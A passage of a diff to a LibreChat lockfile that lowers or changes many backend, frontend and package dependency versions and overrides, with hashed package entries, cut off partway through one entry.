- "version": "0.8.4",
+ "version": "0.8.300",
"dependencies": {
- "@anthropic-ai/vertex-sdk": "^0.14.3",
- "@aws-sdk/client-bedrock-runtime": "^3.980.0",
- "@aws-sdk/client-s3": "^3.980.0",
+ "@aws-sdk/client-bedrock-runtime": "^3.941.0",
+ "@aws-sdk/client-s3": "^3.758.0",
"@aws-sdk/s3-request-presigner": "^3.758.0",
"@azure/identity": "^4.7.0",
"@azure/search-documents": "^12.0.0",
- "@azure/storage-blob": "^12.30.0",
- "@google/genai": "^1.19.0",
+ "@azure/storage-blob": "^12.27.0",
+ "@googleapis/youtube": "^20.0.0",
"@keyv/redis": "^4.3.3",
- "@langchain/core": "^0.3.80",
- "@librechat/agents": "^3.1.57",
+ "@langchain/core": "^0.3.79",
+ "@librechat/agents": "^3.0.50",
"@librechat/api": "*",
"@librechat/data-schemas": "*",
"@microsoft/microsoft-graph-client": "^3.0.7",
- "@modelcontextprotocol/sdk": "^1.27.1",
+ "@modelcontextprotocol/sdk": "^1.24.3",
"@node-saml/passport-saml": "^5.1.0",
"@smithy/node-http-handler": "^4.4.5",
- "ai-tokenizer": "^1.0.6",
- "axios": "^1.13.5",
+ "axios": "^1.12.1",
"bcryptjs": "^2.4.3",
"compression": "^1.8.1",
"connect-redis": "^8.1.0",
@@ -67,12 +64,12 @@
"dedent": "^1.5.3",
"dotenv": "^16.0.3",
"eventsource": "^3.0.2",
- "express": "^5.2.1",
+ "express": "^5.1.0",
"express-mongo-sanitize": "^2.2.0",
- "express-rate-limit": "^8.3.0",
+ "express-rate-limit": "^8.2.1",
"express-session": "^1.18.2",
"express-static-gzip": "^2.2.0",
- "file-type": "^21.3.2",
+ "file-type": "^18.7.0",
"firebase": "^11.0.2",
"form-data": "^4.0.4",
"handlebars": "^4.7.7",
@@ -85,15 +82,13 @@
"keyv-file": "^5.1.2",
"klona": "^2.0.6",
"librechat-data-provider": "*",
- "lodash": "^4.17.23",
- "mammoth": "^1.11.0",
- "mathjs": "^15.1.0",
+ "lodash": "^4.17.21",
"meilisearch": "^0.38.0",
"memorystore": "^1.6.7",
"mime": "^3.0.0",
"module-alias": "^2.2.3",
"mongoose": "^8.12.1",
- "multer": "^2.1.1",
+ "multer": "^2.0.2",
"nanoid": "^3.3.7",
"node-fetch": "^2.7.0",
"nodemailer": "^7.0.11",
@@ -109,16 +104,15 @@
"passport-jwt": "^4.0.1",
"passport-ldapauth": "^3.0.1",
"passport-local": "^1.0.0",
- "pdfjs-dist": "^5.4.624",
"rate-limit-redis": "^4.2.0",
"sharp": "^0.33.5",
+ "tiktoken": "^1.0.15",
"traverse": "^0.6.7",
"ua-parser-js": "^1.0.36",
- "undici": "^7.24.1",
+ "undici": "^7.10.0",
"winston": "^3.11.0",
"winston-daily-rotate-file": "^5.0.0",
- "xlsx": "https://cdn.sheetjs.com/xlsx-0.20.3/xlsx-0.20.3.tgz",
- "yauzl": "^3.2.1",
+ "youtube-transcript": "^1.2.1",
"zod": "^3.22.4",
},
"devDependencies": {
@@ -130,23 +124,22 @@
},
"client": {
"name": "@librechat/frontend",
- "version": "0.8.4",
+ "version": "0.8.300",
"dependencies": {
"@ariakit/react": "^0.4.15",
"@ariakit/react-core": "^0.4.17",
"@codesandbox/sandpack-react": "^2.19.10",
- "@dicebear/collection": "^9.4.1",
- "@dicebear/core": "^9.4.1",
+ "@dicebear/collection": "^9.2.2",
+ "@dicebear/core": "^9.2.2",
"@headlessui/react": "^2.1.2",
"@librechat/client": "*",
"@marsidev/react-turnstile": "^1.1.0",
"@mcp-ui/client": "^5.7.0",
- "@monaco-editor/react": "^4.7.0",
"@radix-ui/react-accordion": "^1.1.2",
- "@radix-ui/react-alert-dialog": "1.0.2",
+ "@radix-ui/react-alert-dialog": "^1.1.15",
"@radix-ui/react-checkbox": "^1.0.3",
"@radix-ui/react-collapsible": "^1.0.3",
- "@radix-ui/react-dialog": "1.0.2",
+ "@radix-ui/react-dialog": "^1.1.15",
"@radix-ui/react-dropdown-menu": "^2.1.1",
"@radix-ui/react-hover-card": "^1.0.5",
"@radix-ui/react-icons": "^1.3.0",
@@ -181,10 +174,9 @@
"jotai": "^2.12.5",
"js-cookie": "^3.0.5",
"librechat-data-provider": "*",
- "lodash": "^4.17.23",
+ "lodash": "^4.17.21",
"lucide-react": "^0.394.0",
"match-sorter": "^8.1.0",
- "mermaid": "^11.13.0",
"micromark-extension-llm-math": "^3.1.0",
"qrcode.react": "^4.2.0",
"rc-input-number": "^7.4.2",
@@ -197,9 +189,10 @@
"react-gtm-module": "^2.0.11",
"react-hook-form": "^7.43.9",
"react-i18next": "^15.4.0",
+ "react-lazy-load-image-component": "^1.6.0",
"react-markdown": "^9.0.1",
"react-resizable-panels": "^3.0.6",
- "react-router-dom": "^6.30.3",
+ "react-router-dom": "^6.11.2",
"react-speech-recognition": "^3.10.0",
"react-textarea-autosize": "^8.4.0",
"react-transition-group": "^4.4.5",
@@ -213,11 +206,9 @@
"remark-math": "^6.0.0",
"remark-supersub": "^1.0.0",
"sse.js": "^2.5.0",
- "swr": "^2.3.8",
"tailwind-merge": "^1.9.1",
"tailwindcss-animate": "^1.0.5",
"tailwindcss-radix": "^2.8.0",
- "ts-md5": "^1.3.1",
"zod": "^3.22.4",
},
"devDependencies": {
@@ -225,7 +216,6 @@
"@babel/preset-env": "^7.22.15",
"@babel/preset-react": "^7.22.15",
"@babel/preset-typescript": "^7.22.15",
- "@happy-dom/jest-environment": "^20.8.3",
"@tanstack/react-query-devtools": "^4.29.0",
"@testing-library/dom": "^9.3.0",
"@testing-library/jest-dom": "^5.16.5",
@@ -234,10 +224,10 @@
"@types/jest": "^29.5.14",
"@types/js-cookie": "^3.0.6",
"@types/lodash": "^4.17.15",
- "@types/node": "^20.19.35",
+ "@types/node": "^20.3.0",
"@types/react": "^18.2.11",
"@types/react-dom": "^18.2.4",
- "@vitejs/plugin-react": "^5.1.4",
+ "@vitejs/plugin-react": "^4.3.4",
"autoprefixer": "^10.4.20",
"babel-plugin-replace-ts-export-assignment": "^0.0.2",
"babel-plugin-root-import": "^6.6.0",
@@ -248,23 +238,23 @@
"identity-obj-proxy": "^3.0.0",
"jest": "^30.2.0",
"jest-canvas-mock": "^2.5.2",
- "jest-environment-jsdom": "^30.2.0",
+ "jest-environment-jsdom": "^29.7.0",
"jest-file-loader": "^1.0.3",
"jest-junit": "^16.0.0",
- "monaco-editor": "^0.55.1",
"postcss": "^8.4.31",
- "postcss-preset-env": "^11.2.0",
+ "postcss-loader": "^7.1.0",
+ "postcss-preset-env": "^8.2.0",
"tailwindcss": "^3.4.1",
"typescript": "^5.3.3",
- "vite": "^7.3.1",
+ "vite": "^6.4.1",
"vite-plugin-compression2": "^2.2.1",
- "vite-plugin-node-polyfills": "^0.25.0",
- "vite-plugin-pwa": "^1.2.0",
+ "vite-plugin-node-polyfills": "^0.23.0",
+ "vite-plugin-pwa": "^0.21.2",
},
},
"packages/api": {
"name": "@librechat/api",
- "version": "1.7.27",
+ "version": "1.7.23",
"devDependencies": {
"@babel/preset-env": "^7.21.5",
"@babel/preset-react": "^7.18.6",
@@ -276,6 +266,7 @@
"@rollup/plugin-replace": "^5.0.5",
"@rollup/plugin-typescript": "^12.1.2",
"@types/bun": "^1.2.15",
+ "@types/diff": "^6.0.0",
"@types/express": "^5.0.0",
"@types/express-session": "^1.18.2",
"@types/jest": "^29.5.2",
@@ -285,67 +276,52 @@
"@types/node-fetch": "^2.6.13",
"@types/react": "^18.2.18",
"@types/winston": "^2.4.4",
- "@types/yauzl": "^2.10.3",
"jest": "^30.2.0",
"jest-junit": "^16.0.0",
- "jszip": "^3.10.1",
"librechat-data-provider": "*",
- "mammoth": "^1.11.0",
"mongodb": "^6.14.2",
- "pdfjs-dist": "^5.4.624",
- "rimraf": "^6.1.3",
- "rollup": "^4.34.9",
+ "rimraf": "^6.1.2",
+ "rollup": "^4.22.4",
"rollup-plugin-peer-deps-external": "^2.2.4",
"ts-node": "^10.9.2",
"typescript": "^5.0.4",
- "xlsx": "https://cdn.sheetjs.com/xlsx-0.20.3/xlsx-0.20.3.tgz",
- "yauzl": "^3.2.1",
},
"peerDependencies": {
- "@anthropic-ai/vertex-sdk": "^0.14.3",
- "@aws-sdk/client-bedrock-runtime": "^3.970.0",
- "@aws-sdk/client-s3": "^3.980.0",
+ "@aws-sdk/client-s3": "^3.758.0",
"@azure/identity": "^4.7.0",
"@azure/search-documents": "^12.0.0",
- "@azure/storage-blob": "^12.30.0",
- "@google/genai": "^1.19.0",
+ "@azure/storage-blob": "^12.27.0",
"@keyv/redis": "^4.3.3",
- "@langchain/core": "^0.3.80",
- "@librechat/agents": "^3.1.57",
+ "@langchain/core": "^0.3.79",
+ "@librechat/agents": "^3.0.50",
"@librechat/data-schemas": "*",
- "@modelcontextprotocol/sdk": "^1.27.1",
- "@smithy/node-http-handler": "^4.4.5",
- "ai-tokenizer": "^1.0.6",
- "axios": "^1.13.5",
+ "@modelcontextprotocol/sdk": "^1.24.3",
+ "axios": "^1.12.1",
"connect-redis": "^8.1.0",
+ "diff": "^7.0.0",
"eventsource": "^3.0.2",
"express": "^5.1.0",
"express-session": "^1.18.2",
"firebase": "^11.0.2",
"form-data": "^4.0.4",
- "google-auth-library": "^9.15.1",
- "https-proxy-agent": "^7.0.6",
"ioredis": "^5.3.2",
"js-yaml": "^4.1.1",
"jsonwebtoken": "^9.0.0",
"keyv": "^5.3.2",
"keyv-file": "^5.1.2",
"librechat-data-provider": "*",
- "mammoth": "^1.11.0",
- "mathjs": "^15.1.0",
"memorystore": "^1.6.7",
"mongoose": "^8.12.1",
"node-fetch": "2.7.0",
- "pdfjs-dist": "^5.4.624",
"rate-limit-redis": "^4.2.0",
- "undici": "^7.24.1",
- "yauzl": "^3.2.1",
+ "tiktoken": "^1.0.15",
+ "undici": "^7.10.0",
"zod": "^3.22.4",
},
},
"packages/client": {
"name": "@librechat/client",
- "version": "0.4.56",
+ "version": "0.4.52",
"devDependencies": {
"@babel/core": "^7.28.5",
"@babel/preset-env": "^7.28.5",
@@ -375,8 +351,8 @@
"react": "^18.2.0",
"react-dom": "^18.2.0",
"react-i18next": "^15.4.0",
- "rimraf": "^6.1.3",
- "rollup": "^4.34.9",
+ "rimraf": "^6.1.2",
+ "rollup": "^4.0.0",
"rollup-plugin-peer-deps-external": "^2.2.4",
"rollup-plugin-postcss": "^4.0.2",
"rollup-plugin-typescript2": "^0.35.0",
@@ -386,14 +362,14 @@
"peerDependencies": {
"@ariakit/react": "^0.4.16",
"@ariakit/react-core": "^0.4.17",
- "@dicebear/collection": "^9.4.1",
- "@dicebear/core": "^9.4.1",
+ "@dicebear/collection": "^9.2.2",
+ "@dicebear/core": "^9.2.2",
"@headlessui/react": "^2.1.2",
"@radix-ui/react-accordion": "^1.2.11",
- "@radix-ui/react-alert-dialog": "1.0.2",
+ "@radix-ui/react-alert-dialog": "^1.1.15",
"@radix-ui/react-checkbox": "^1.0.3",
"@radix-ui/react-collapsible": "^1.1.11",
- "@radix-ui/react-dialog": "1.0.2",
+ "@radix-ui/react-dialog": "^1.1.15",
"@radix-ui/react-dropdown-menu": "^2.1.1",
"@radix-ui/react-hover-card": "^1.0.5",
"@radix-ui/react-icons": "^1.3.0",
@@ -433,9 +409,9 @@
},
"packages/data-provider": {
"name": "librechat-data-provider",
- "version": "0.8.401",
+ "version": "0.8.300",
"dependencies": {
- "axios": "^1.13.5",
+ "axios": "^1.12.1",
"dayjs": "^1.11.13",
"js-yaml": "^4.1.1",
"zod": "^3.22.4",
@@ -444,6 +420,7 @@
"@babel/preset-env": "^7.21.5",
"@babel/preset-react": "^7.18.6",
"@babel/preset-typescript": "^7.21.0",
+ "@langchain/core": "^0.3.62",
"@rollup/plugin-alias": "^5.1.0",
"@rollup/plugin-commonjs": "^29.0.0",
"@rollup/plugin-json": "^6.1.0",
@@ -458,8 +435,8 @@
"jest": "^30.2.0",
"jest-junit": "^16.0.0",
"openapi-types": "^12.1.3",
- "rimraf": "^6.1.3",
- "rollup": "^4.34.9",
+ "rimraf": "^6.1.2",
+ "rollup": "^4.22.4",
"rollup-plugin-peer-deps-external": "^2.2.4",
"rollup-plugin-typescript2": "^0.35.0",
"typescript": "^5.0.4",
@@ -470,7 +447,7 @@
},
"packages/data-schemas": {
"name": "@librechat/data-schemas",
- "version": "0.0.40",
+ "version": "0.0.36",
"devDependencies": {
"@rollup/plugin-alias": "^5.1.0",
"@rollup/plugin-commonjs": "^29.0.0",
@@ -479,14 +456,15 @@
"@rollup/plugin-replace": "^5.0.5",
"@rollup/plugin-terser": "^0.4.4",
"@rollup/plugin-typescript": "^12.1.2",
+ "@types/diff": "^6.0.0",
"@types/express": "^5.0.0",
"@types/jest": "^29.5.2",
"@types/node": "^20.3.0",
"jest": "^30.2.0",
"jest-junit": "^16.0.0",
"mongodb-memory-server": "^10.1.4",
- "rimraf": "^6.1.3",
- "rollup": "^4.34.9",
+ "rimraf": "^6.1.2",
+ "rollup": "^4.22.4",
"rollup-plugin-peer-deps-external": "^2.2.4",
"rollup-plugin-typescript2": "^0.35.0",
"ts-node": "^10.9.2",
@@ -496,7 +474,7 @@
"jsonwebtoken": "^9.0.2",
"klona": "^2.0.6",
"librechat-data-provider": "*",
- "lodash": "^4.17.23",
+ "lodash": "^4.17.21",
"meilisearch": "^0.38.0",
"mongoose": "^8.12.1",
"nanoid": "^3.3.7",
@@ -506,19 +484,11 @@
},
},
"overrides": {
- "@anthropic-ai/sdk": "0.73.0",
- "@hono/node-server": "^1.19.10",
+ "axios": "1.12.1",
"elliptic": "^6.6.1",
- "fast-xml-parser": "5.5.7",
"form-data": "^4.0.4",
- "hono": "^4.12.4",
"katex": "^0.16.21",
- "langsmith": "0.4.12",
"mdast-util-gfm-autolink-literal": "2.0.0",
- "serialize-javascript": "^7.0.3",
- "svgo": "^2.8.2",
- "tslib": "^2.8.1",
- "underscore": "1.13.8",
},
"packages": {
"@aashutoshrathi/word-wrap": ["@aashutoshrathi/word-wrap@1.2.6", "", {}, "sha512-1Yjs2SvM8TflER/OD3cOjhWWOZb58A2t7wpE2S9XfBYTiIl+XFhQG2bjy4Pu1I+EAlCNUzRDYDdFwFYUKvXcIA=="],
@@ -527,11 +497,7 @@
"@alloc/quick-lru": ["@alloc/quick-lru@5.2.0", "", {}, "sha512-UrcABB+4bUrFABwbluTIBErXwvbsU/V7TZWfmbgJfbkwiBuziS9gxdODUyuiecfdGQ85jglMW6juS3+z5TsKLw=="],
- "@antfu/install-pkg": ["@antfu/install-pkg@1.1.0", "", { "dependencies": { "package-manager-detector": "^1.3.0", "tinyexec": "^1.0.1" } }, "sha512-MGQsmw10ZyI+EJo45CdSER4zEb+p31LpDAFp2Z3gkSd1yqVZGi0Ebx++YTEMonJy4oChEMLsxZ64j8FH6sSqtQ=="],
-
- "@anthropic-ai/sdk": ["@anthropic-ai/sdk@0.73.0", "", { "dependencies": { "json-schema-to-ts": "^3.1.1" }, "peerDependencies": { "zod": "^3.25.0 || ^4.0.0" }, "optionalPeers": ["zod"], "bin": { "anthropic-ai-sdk": "bin/cli" } }, "sha512-URURVzhxXGJDGUGFunIOtBlSl7KWvZiAAKY/ttTkZAkXT9bTPqdk2eK0b8qqSxXpikh3QKPnPYpiyX98zf5ebw=="],
-
- "@anthropic-ai/vertex-sdk": ["@anthropic-ai/vertex-sdk@0.14.4", "", { "dependencies": { "@anthropic-ai/sdk": ">=0.50.3 <1", "google-auth-library": "^9.4.2" } }, "sha512-BZUPRWghZxfSFtAxU563wH+jfWBPoedAwsVxG35FhmNsjeV8tyfN+lFriWhCpcZApxA4NdT6Soov+PzfnxxD5g=="],
+ "@anthropic-ai/sdk": ["@anthropic-ai/sdk@0.65.0", "", { "dependencies": { "json-schema-to-ts": "^3.1.1" }, "peerDependencies": { "zod": "^3.25.0 || ^4.0.0" }, "bin": { "anthropic-ai-sdk": "bin/cli" } }, "sha512-zIdPOcrCVEI8t3Di40nH4z9EoeyGZfXbYSvWdDLsB/KkaSYMnEgC7gmcgWu83g2NTn1ZTpbMvpdttWDGGIk6zw=="],
"@apideck/better-ajv-errors": ["@apideck/better-ajv-errors@0.3.6", "", { "dependencies": { "json-schema": "^0.4.0", "jsonpointer": "^5.0.0", "leven": "^3.1.0" }, "peerDependencies": { "ajv": ">=8" } }, "sha512-P+ZygBLZtkp0qqOAJJVX4oX/sFo5JR3eBWwwuqHHhK0GIgQOKWrAfiAaWX0aArHkRWHMuggFEgAZNxVPwPZYaA=="],
@@ -559,21 +525,19 @@
"@aws-sdk/client-bedrock-agent-runtime": ["@aws-sdk/client-bedrock-agent-runtime@3.927.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.927.0", "@aws-sdk/credential-provider-node": "3.927.0", "@aws-sdk/middleware-host-header": "3.922.0", "@aws-sdk/middleware-logger": "3.922.0", "@aws-sdk/middleware-recursion-detection": "3.922.0", "@aws-sdk/middleware-user-agent": "3.927.0", "@aws-sdk/region-config-resolver": "3.925.0", "@aws-sdk/types": "3.922.0", "@aws-sdk/util-endpoints": "3.922.0", "@aws-sdk/util-user-agent-browser": "3.922.0", "@aws-sdk/util-user-agent-node": "3.927.0", "@smithy/config-resolver": "^4.4.2", "@smithy/core": "^3.17.2", "@smithy/eventstream-serde-browser": "^4.2.4", "@smithy/eventstream-serde-config-resolver": "^4.3.4", "@smithy/eventstream-serde-node": "^4.2.4", "@smithy/fetch-http-handler": "^5.3.5", "@smithy/hash-node": "^4.2.4", "@smithy/invalid-dependency": "^4.2.4", "@smithy/middleware-content-length": "^4.2.4", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-retry": "^4.4.6", "@smithy/middleware-serde": "^4.2.4", "@smithy/middleware-stack": "^4.2.4", "@smithy/node-config-provider": "^4.3.4", "@smithy/node-http-handler": "^4.4.4", "@smithy/protocol-http": "^5.3.4", "@smithy/smithy-client": "^4.9.2", "@smithy/types": "^4.8.1", "@smithy/url-parser": "^4.2.4", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-body-length-node": "^4.2.1", "@smithy/util-defaults-mode-browser": "^4.3.5", "@smithy/util-defaults-mode-node": "^4.2.8", "@smithy/util-endpoints": "^3.2.4", "@smithy/util-middleware": "^4.2.4", "@smithy/util-retry": "^4.2.4", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-k2UeG/+Ka74jztHDzYNrpNLDSsMCst+ph3+e7uAX5Jmo40tVKa+sVu4DkV3BIXuktc6jqM1ewtfPNug79kN6JQ=="],
- "@aws-sdk/client-bedrock-runtime": ["@aws-sdk/client-bedrock-runtime@3.1013.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "^3.973.22", "@aws-sdk/credential-provider-node": "^3.972.23", "@aws-sdk/eventstream-handler-node": "^3.972.11", "@aws-sdk/middleware-eventstream": "^3.972.8", "@aws-sdk/middleware-host-header": "^3.972.8", "@aws-sdk/middleware-logger": "^3.972.8", "@aws-sdk/middleware-recursion-detection": "^3.972.8", "@aws-sdk/middleware-user-agent": "^3.972.23", "@aws-sdk/middleware-websocket": "^3.972.13", "@aws-sdk/region-config-resolver": "^3.972.8", "@aws-sdk/token-providers": "3.1013.0", "@aws-sdk/types": "^3.973.6", "@aws-sdk/util-endpoints": "^3.996.5", "@aws-sdk/util-user-agent-browser": "^3.972.8", "@aws-sdk/util-user-agent-node": "^3.973.9", "@smithy/config-resolver": "^4.4.11", "@smithy/core": "^3.23.12", "@smithy/eventstream-serde-browser": "^4.2.12", "@smithy/eventstream-serde-config-resolver": "^4.3.12", "@smithy/eventstream-serde-node": "^4.2.12", "@smithy/fetch-http-handler": "^5.3.15", "@smithy/hash-node": "^4.2.12", "@smithy/invalid-dependency": "^4.2.12", "@smithy/middleware-content-length": "^4.2.12", "@smithy/middleware-endpoint": "^4.4.26", "@smithy/middleware-retry": "^4.4.43", "@smithy/middleware-serde": "^4.2.15", "@smithy/middleware-stack": "^4.2.12", "@smithy/node-config-provider": "^4.3.12", "@smithy/node-http-handler": "^4.5.0", "@smithy/protocol-http": "^5.3.12", "@smithy/smithy-client": "^4.12.6", "@smithy/types": "^4.13.1", "@smithy/url-parser": "^4.2.12", "@smithy/util-base64": "^4.3.2", "@smithy/util-body-length-browser": "^4.2.2", "@smithy/util-body-length-node": "^4.2.3", "@smithy/util-defaults-mode-browser": "^4.3.42", "@smithy/util-defaults-mode-node": "^4.2.45", "@smithy/util-endpoints": "^3.3.3", "@smithy/util-middleware": "^4.2.12", "@smithy/util-retry": "^4.2.12", "@smithy/util-stream": "^4.5.20", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-LU80q1avpBwQ0eVAGbQpPApdVY4vcdBEIycY5iaznI10mdabeG83nrFySJrZ8knX7G6hl5d5KIOSjcpnolMKSA=="],
+ "@aws-sdk/client-bedrock-runtime": ["@aws-sdk/client-bedrock-runtime@3.952.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.947.0", "@aws-sdk/credential-provider-node": "3.952.0", "@aws-sdk/eventstream-handler-node": "3.936.0", "@aws-sdk/middleware-eventstream": "3.936.0", "@aws-sdk/middleware-host-header": "3.936.0", "@aws-sdk/middleware-logger": "3.936.0", "@aws-sdk/middleware-recursion-detection": "3.948.0", "@aws-sdk/middleware-user-agent": "3.947.0", "@aws-sdk/middleware-websocket": "3.936.0", "@aws-sdk/region-config-resolver": "3.936.0", "@aws-sdk/token-providers": "3.952.0", "@aws-sdk/types": "3.936.0", "@aws-sdk/util-endpoints": "3.936.0", "@aws-sdk/util-user-agent-browser": "3.936.0", "@aws-sdk/util-user-agent-node": "3.947.0", "@smithy/config-resolver": "^4.4.3", "@smithy/core": "^3.18.7", "@smithy/eventstream-serde-browser": "^4.2.5", "@smithy/eventstream-serde-config-resolver": "^4.3.5", "@smithy/eventstream-serde-node": "^4.2.5", "@smithy/fetch-http-handler": "^5.3.6", "@smithy/hash-node": "^4.2.5", "@smithy/invalid-dependency": "^4.2.5", "@smithy/middleware-content-length": "^4.2.5", "@smithy/middleware-endpoint": "^4.3.14", "@smithy/middleware-retry": "^4.4.14", "@smithy/middleware-serde": "^4.2.6", "@smithy/middleware-stack": "^4.2.5", "@smithy/node-config-provider": "^4.3.5", "@smithy/node-http-handler": "^4.4.5", "@smithy/protocol-http": "^5.3.5", "@smithy/smithy-client": "^4.9.10", "@smithy/types": "^4.9.0", "@smithy/url-parser": "^4.2.5", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-body-length-node": "^4.2.1", "@smithy/util-defaults-mode-browser": "^4.3.13", "@smithy/util-defaults-mode-node": "^4.2.16", "@smithy/util-endpoints": "^3.2.5", "@smithy/util-middleware": "^4.2.5", "@smithy/util-retry": "^4.2.5", "@smithy/util-stream": "^4.5.6", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-Xc1xqIz/OdFd23UQ6cvROD+3tfvDpp5dabMqUYXFiKlk5psMNM9xhzLwWK7DE1tr1ra/dui77w8JOiLA1dC7AA=="],
"@aws-sdk/client-cognito-identity": ["@aws-sdk/client-cognito-identity@3.623.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/client-sso-oidc": "3.623.0", "@aws-sdk/core": "3.623.0", "@aws-sdk/credential-provider-node": "3.623.0", "@aws-sdk/middleware-host-header": "3.620.0", "@aws-sdk/middleware-logger": "3.609.0", "@aws-sdk/middleware-recursion-detection": "3.620.0", "@aws-sdk/middleware-user-agent": "3.620.0", "@aws-sdk/region-config-resolver": "3.614.0", "@aws-sdk/types": "3.609.0", "@aws-sdk/util-endpoints": "3.614.0", "@aws-sdk/util-user-agent-browser": "3.609.0", "@aws-sdk/util-user-agent-node": "3.614.0", "@smithy/config-resolver": "^3.0.5", "@smithy/core": "^2.3.2", "@smithy/fetch-http-handler": "^3.2.4", "@smithy/hash-node": "^3.0.3", "@smithy/invalid-dependency": "^3.0.3", "@smithy/middleware-content-length": "^3.0.5", "@smithy/middleware-endpoint": "^3.1.0", "@smithy/middleware-retry": "^3.0.14", "@smithy/middleware-serde": "^3.0.3", "@smithy/middleware-stack": "^3.0.3", "@smithy/node-config-provider": "^3.1.4", "@smithy/node-http-handler": "^3.1.4", "@smithy/protocol-http": "^4.1.0", "@smithy/smithy-client": "^3.1.12", "@smithy/types": "^3.3.0", "@smithy/url-parser": "^3.0.3", "@smithy/util-base64": "^3.0.0", "@smithy/util-body-length-browser": "^3.0.0", "@smithy/util-body-length-node": "^3.0.0", "@smithy/util-defaults-mode-browser": "^3.0.14", "@smithy/util-defaults-mode-node": "^3.0.14", "@smithy/util-endpoints": "^2.0.5", "@smithy/util-middleware": "^3.0.3", "@smithy/util-retry": "^3.0.3", "@smithy/util-utf8": "^3.0.0", "tslib": "^2.6.2" } }, "sha512-kGYnTzXTMGdjko5+GZ1PvWvfXA7quiOp5iMo5gbh5b55pzIdc918MHN0pvaqplVGWYlaFJF4YzxUT5Nbxd7Xeg=="],
"@aws-sdk/client-kendra": ["@aws-sdk/client-kendra@3.927.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.927.0", "@aws-sdk/credential-provider-node": "3.927.0", "@aws-sdk/middleware-host-header": "3.922.0", "@aws-sdk/middleware-logger": "3.922.0", "@aws-sdk/middleware-recursion-detection": "3.922.0", "@aws-sdk/middleware-user-agent": "3.927.0", "@aws-sdk/region-config-resolver": "3.925.0", "@aws-sdk/types": "3.922.0", "@aws-sdk/util-endpoints": "3.922.0", "@aws-sdk/util-user-agent-browser": "3.922.0", "@aws-sdk/util-user-agent-node": "3.927.0", "@smithy/config-resolver": "^4.4.2", "@smithy/core": "^3.17.2", "@smithy/fetch-http-handler": "^5.3.5", "@smithy/hash-node": "^4.2.4", "@smithy/invalid-dependency": "^4.2.4", "@smithy/middleware-content-length": "^4.2.4", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-retry": "^4.4.6", "@smithy/middleware-serde": "^4.2.4", "@smithy/middleware-stack": "^4.2.4", "@smithy/node-config-provider": "^4.3.4", "@smithy/node-http-handler": "^4.4.4", "@smithy/protocol-http": "^5.3.4", "@smithy/smithy-client": "^4.9.2", "@smithy/types": "^4.8.1", "@smithy/url-parser": "^4.2.4", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-body-length-node": "^4.2.1", "@smithy/util-defaults-mode-browser": "^4.3.5", "@smithy/util-defaults-mode-node": "^4.2.8", "@smithy/util-endpoints": "^3.2.4", "@smithy/util-middleware": "^4.2.4", "@smithy/util-retry": "^4.2.4", "@smithy/util-utf8": "^4.2.0", "@smithy/uuid": "^1.1.0", "tslib": "^2.6.2" } }, "sha512-DWyNlC6BFhzoDkyKZ3xv0BC/xcXF3Tpq6j6Z42DXO9KEUjiGmC3se9l/GFEVtRLh/DR4p7cTJsxzA2QNuthRNg=="],
- "@aws-sdk/client-s3": ["@aws-sdk/client-s3@3.1004.0", "", { "dependencies": { "@aws-crypto/sha1-browser": "5.2.0", "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "^3.973.18", "@aws-sdk/credential-provider-node": "^3.972.18", "@aws-sdk/middleware-bucket-endpoint": "^3.972.7", "@aws-sdk/middleware-expect-continue": "^3.972.7", "@aws-sdk/middleware-flexible-checksums": "^3.973.4", "@aws-sdk/middleware-host-header": "^3.972.7", "@aws-sdk/middleware-location-constraint": "^3.972.7", "@aws-sdk/middleware-logger": "^3.972.7", "@aws-sdk/middleware-recursion-detection": "^3.972.7", "@aws-sdk/middleware-sdk-s3": "^3.972.18", "@aws-sdk/middleware-ssec": "^3.972.7", "@aws-sdk/middleware-user-agent": "^3.972.19", "@aws-sdk/region-config-resolver": "^3.972.7", "@aws-sdk/signature-v4-multi-region": "^3.996.6", "@aws-sdk/types": "^3.973.5", "@aws-sdk/util-endpoints": "^3.996.4", "@aws-sdk/util-user-agent-browser": "^3.972.7", "@aws-sdk/util-user-agent-node": "^3.973.4", "@smithy/config-resolver": "^4.4.10", "@smithy/core": "^3.23.8", "@smithy/eventstream-serde-browser": "^4.2.11", "@smithy/eventstream-serde-config-resolver": "^4.3.11", "@smithy/eventstream-serde-node": "^4.2.11", "@smithy/fetch-http-handler": "^5.3.13", "@smithy/hash-blob-browser": "^4.2.12", "@smithy/hash-node": "^4.2.11", "@smithy/hash-stream-node": "^4.2.11", "@smithy/invalid-dependency": "^4.2.11", "@smithy/md5-js": "^4.2.11", "@smithy/middleware-content-length": "^4.2.11", "@smithy/middleware-endpoint": "^4.4.22", "@smithy/middleware-retry": "^4.4.39", "@smithy/middleware-serde": "^4.2.12", "@smithy/middleware-stack": "^4.2.11", "@smithy/node-config-provider": "^4.3.11", "@smithy/node-http-handler": "^4.4.14", "@smithy/protocol-http": "^5.3.11", "@smithy/smithy-client": "^4.12.2", "@smithy/types": "^4.13.0", "@smithy/url-parser": "^4.2.11", "@smithy/util-base64": "^4.3.2", "@smithy/util-body-length-browser": "^4.2.2", "@smithy/util-body-length-node": "^4.2.3", "@smithy/util-defaults-mode-browser": "^4.3.38", "@smithy/util-defaults-mode-node": "^4.2.41", "@smithy/util-endpoints": "^3.3.2", "@smithy/util-middleware": "^4.2.11", 